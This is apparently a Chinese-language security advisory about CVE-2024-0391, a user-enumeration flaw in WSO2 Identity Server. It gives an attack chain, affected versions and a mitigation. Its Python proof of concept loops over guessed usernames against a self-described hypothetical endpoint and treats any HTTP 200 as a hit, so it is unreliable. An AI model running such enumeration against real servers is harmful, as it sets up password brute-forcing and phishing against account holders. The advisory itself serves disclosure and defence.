IPBUF安全漏洞报告
English
CVE-2024-0391 CVSS 5.3 中危

CVE-2024-0391 WSO2用户枚举漏洞

披露日期: 2026-05-11
来源: ed10eef1-636d-4fbe-9993-6890dfa878f8

漏洞信息

漏洞编号
CVE-2024-0391
漏洞类型
用户枚举
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WSO2 Identity Server

相关标签

用户枚举信息泄露WSO2身份认证中危

漏洞概述

该漏洞存在于WSO2 Identity Server的电子邮件OTP流程中。由于检查用户账户锁定状态的功能未能正确验证用户输入,攻击者可以利用该接口的差异响应(如用户锁定状态与用户不存在的错误信息不同)来推断系统中已注册用户账户的存在。这种信息泄露增加了暴力破解攻击和社会工程学攻击(如钓鱼)的风险,可能导致敏感数据泄露和声誉受损。

技术细节

漏洞的核心机制在于“检查用户账户锁定状态”接口的响应差异化。攻击者向该端点发送请求,参数包含猜测的用户名。如果用户名存在于数据库中,系统通常会返回具体的锁定状态(例如“账户已锁定”或“账户正常”);如果用户名不存在,系统则可能返回“用户未找到”或通用的验证失败信息。攻击者通过编写脚本批量发送请求并解析响应内容,即可筛选出有效的用户名列表。随后,攻击者可利用这些有效账户进行针对性的密码爆破或定向钓鱼攻击。

攻击链分析

STEP 1
1. 侦察阶段
攻击者确认目标系统使用WSO2 Identity Server,并定位到处理电子邮件OTP的相关API接口。
STEP 2
2. 枚举探测
攻击者编写自动化脚本,向“检查用户账户锁定状态”接口发送大量包含不同用户名的请求。
STEP 3
3. 响应分析
攻击者分析服务器返回的HTTP响应状态码或错误消息。区分“账户已锁定”(用户存在)与“用户不存在”的响应差异。
STEP 4
4. 后续攻击
利用筛选出的有效用户名列表,发起暴力破解攻击以获取密码,或实施定向网络钓鱼攻击以窃取凭证。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_user_existence(target_url, username): # Hypothetical endpoint based on the vulnerability description endpoint = f"{target_url}/commonapi" # Payload typically includes the username for the OTP flow payload = { "username": username, "action": "checkAccountLock" } headers = { "Content-Type": "application/json" } try: # Sending POST request to the vulnerable endpoint response = requests.post(endpoint, json=payload, headers=headers, verify=False) # Analyze the response to infer user existence # Logic: If response indicates 'locked' or specific user state, user exists. # If response is 'user not found' or generic error, user does not exist. if "Account is locked" in response.text or response.status_code == 200: print(f"[+] User Found: {username}") return True elif "User not found" in response.text or "Invalid user" in response.text: print(f"[-] User Not Found: {username}") return False else: # Fallback for different response patterns print(f"[?] Uncertain response for {username}: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"Error connecting to target: {e}") return False # Example usage target = "https://target-wso2-server.com" user_list = ["admin", "administrator", "test", "user1"] for user in user_list: check_user_existence(target, user)

影响范围

WSO2 Identity Server 5.3.0
WSO2 Identity Server 5.4.0
WSO2 Identity Server 5.4.1
WSO2 Identity Server 5.5.0
WSO2 Identity Server 5.6.0
WSO2 Identity Server 5.7.0
WSO2 Identity Server 5.8.0
WSO2 Identity Server 5.9.0
WSO2 Identity Server 5.9.1
WSO2 Identity Server 5.10.0
WSO2 Identity Server 5.11.0

防御指南

临时缓解措施
如果无法立即升级,建议在WAF或网关层配置规则,拦截针对账户锁定检查接口的异常高频请求,并修改后端响应逻辑,模糊化用户存在与否的区别。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表